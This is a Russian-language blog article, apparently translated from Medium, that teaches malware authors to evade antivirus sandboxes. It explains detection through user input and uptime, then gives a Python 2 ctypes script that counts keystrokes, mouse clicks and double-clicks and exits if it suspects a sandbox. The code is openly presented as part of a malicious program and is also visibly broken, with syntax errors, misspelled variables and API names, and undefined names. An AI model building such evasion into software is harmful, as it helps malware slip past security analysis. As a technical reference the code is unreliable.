Все больше и больше антивирусных решений используют ту или иную форму песочницы, чтобы получить преимущество от злоумышленников, в этой статье мы рассмотрим некоторые основные вещи, которые вы можете сделать с точки зрения злоумышленников, чтобы обойти такие механизмы.

Почему вам нужно заботиться о Sandbox Evasion?

Возможно, прежде чем мы погрузимся в этот вопрос, я должен немного рассказать, что такое песочница, когда мы говорим о ней в отношении кибербезопасности. . В простейшем смысле песочница - это способ разделения запущенных программ. Обычно это делается для запуска непроверенного кода без опасения повредить операционную систему хоста. Обычно в песочнице доступно ограниченное количество ресурсов. Например, ограниченный доступ к сети, ограниченный доступ к системным вызовам и памяти. Вы можете рассматривать песочницу как своего рода виртуализацию, а виртуальную машину действительно можно рассматривать как сложную песочницу. В которой гостевая и основная операционные системы имеют ограниченное количество взаимодействий.

Имея это в виду, вы можете понять, почему это важно для разработчиков вредоносных программ и исследователей безопасности. Если вы можете поймать вредоносный код до того, как он будет запущен, вы эффективно защитите операционную систему хоста. С точки зрения злоумышленника вы можете увидеть, насколько это может быть проблематично.

Чтобы немного подробнее рассказать об этом, антивирусные решения в последние годы все чаще используют методы песочницы в своих продуктах, чтобы иметь преимущество перед злоумышленниками. В этой статье мы рассмотрим, как начать победить такие механизмы.


На что следует обратить внимание

Из-за природы песочницы как автоматического механизма анализа вредоносных программ Вот пара вещей, которые мы можем отслеживать или знать о нашей программе, которые могут помочь нам определить, выполняем мы в изолированной среде или нет. Если мы определим, что действительно находимся в такой среде, мы можем отказаться от выполнения остальной части нашего вредоносного кода. В этой статье мы рассмотрим две вещи, которые могут указывать на то, что мы находимся в песочнице.

1. Пользовательский ввод

Простая песочница, одна из таких как может использовать AV-решение, запускает среду, которая позволяет выполнять код без особой необходимости во взаимодействии с пользователем. Вы запускаете код, и песочница отправляет некоторую информацию о поведении программы соответствующим компонентам антивирусного программного обеспечения. Имея это в виду, мы знаем, что мы должны включить некоторую логику в нашу вредоносную программу, чтобы проверить:

  • Нажатия клавиш
  • Щелчки мышью
  • Двойные щелчки

Возможно, оператор песочницы имитирует ввод, посылая быструю последовательность щелчков мыши или других событий ввода, чтобы обмануть вредоносное ПО. Поскольку мы можем разумно предположить, что это произойдет заранее, мы также можем добавить некоторую логику для поиска подозрительной активности в этом отношении. Для этого мы собираемся заставить нашу программу проверять время для входных событий.

2. Время работы

Еще одна относительно простая вещь, которую нужно проверить, - это время работы, мы проверит, когда пользователь в последний раз взаимодействовал с машиной, по тому, как долго машина была в рабочем состоянии. Если мы не находимся в песочнице, мы ожидаем увидеть большую активность, поскольку типичная машина взаимодействует с группой с момента загрузки и далее. В то время как песочница обычно этого не делает.


Давайте приступим к программированию!

Вот программа Python, которая использует то, о чем мы говорили . В этом примере мы ориентируемся на окно Windows. Конечно, мы начинаем с импорта наших модулей. Самым важным здесь будет модуль ctypes, поскольку мы будем использовать его функции для проверки и подсчета взаимодействий с пользователем.

 #!/usr/bin/env python2.7
 import sys
 import time
 import ctypes
 import random
 
 user    = ctypes.windll.user32
 kernel =  ctypes.windll.kernel32
 
 # Global vars
 keystrokes   = 0
 mouse_clicks = 0
 double_clicks = 0
 
 class LASTINPUT(ctypes.Structure):
     _fields_ = [("cbSize", ctypes.c_uint), ("dwTime",       ctypes.c_ulong)]
 
 def get_last_input():
     struct_lastinputinfo = LASTINPUT()
     struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUT)
 
     # Here we will get the last input that was registered
     user.GetlastInputInfo(ctypes.byref(struct_lastinputinfo))
 
     # Here we will determine how long our target has been up
     runtime = kernel.GetTickCount()
 
     elapsed = runtime - struct_lastinputinfo.dwTime
 
     # Debug print to check if everything is working correctly
     print elapsed
 
     return elapsed
 
 # Here we define our function to register and count key presses
 def get_key_press():
     global mouse_clicks
     global keystrokes
 
     for keys in range(0,0xff):
         if user.GetAsyncKeyState(keys) ==  -32767:
 
             if keys == 0x1: 
                 mouse_clicks += 1
                 return time.time()
             elif keys = > 32 and keys < 127:
                 keystrokes +=1
    return None
 
 def detect_sandbox():
     global mouse_clicks
     global keystrokes
 
     max_keystrokes = random.randint(10,25)
     max_mouse_clicks = random.randint(5, 25)
 
     double_clicks = 0
     max_double_clicks = 10
 
     double_click_threshold = 0.250 # Seconds
     first_double_click = None
 
     average_mousetime = 0
     max_input_threshold = 30000 # Milliseconds
 
     previous_t = None
     detection_complete = False
 
     last_input = get_last_input()
 
     # If we get to the threshold we are not going to be executing 
     if last_input >= max_input_threshold:
         sys.exit(0)
 
 
     while not detection_complete:
         kpress_t = get_key_press()
 
         if kpress_t is not None and previous_t is not None:
              # Here we are going to be calculating the time 
              # between double clicks
              elapsed = kpress_t - previous_t
 
              # If we register a double click we are going to add 
              # that to the total
              if elapsed <= double_click_threshold:
                  double_clicks += 1
                  
 
                  # If we exceed the double click threshold we 
                  # will stop executing
                  if first_double_click is None:
                      first_double_click = time.time()
                  else:
                      if double_clicks == max_double_clicks:
# Put these on 1 line #   if kpress_t - first_double_click <= 
# Put these on 1 line #(max_double_clicks*double_click_threshold):
                              sys.exit(0) 
 
         # See if everything checks out, if not, stop executing 
         # the function
#1 line# if keystrokes >= max_keystrokes 
#1 line# and double_clicks >= max_double_clicks and mosue_clicks #1 line# >= max_mouse_clicks:
             return
 
         previous_t = keypress_time
   
     elif keypress_time is not None:
         previous_t = keypress_time
 
 detect_sandbox()
 # Debug print
 print "We got this far, we seem to be ok!"

Извините за форматирование последних двух строк, Medium настаивает на определенном размере для блока кода. Везде, где мне приходилось использовать несколько строк, где должна была быть только одна, я указывал это в комментариях.

Комментарии в этом сценарии описывают, что происходит в программе, но необходимо резюмировать; Сначала мы настраиваем ряд функций, которые будут использоваться в функции `detect_sandbox`, и определяем структуру для наших данных из модуля ctypes. Вызовите ядро, чтобы проверить, как долго машина была запущена и работает, а затем выполните некоторые проверки. Затем функция «detect_sandbox» выполняет все вычисления, необходимые для получения окончательных фрагментов данных, чтобы мы могли использовать условные операторы для продолжения выполнения или остановки в зависимости от возвращаемых значений.

Подтверждение

Я хотел бы поблагодарить Джастина Зейтца за его работу над Black Hat Python. Эта статья черпает вдохновение из книги и немного расширяет изложенные в ней концепции. Я определенно рекомендую вам получить копию, если у вас есть лишняя пара долларов. Вы можете проверить это здесь". Спасибо за чтение!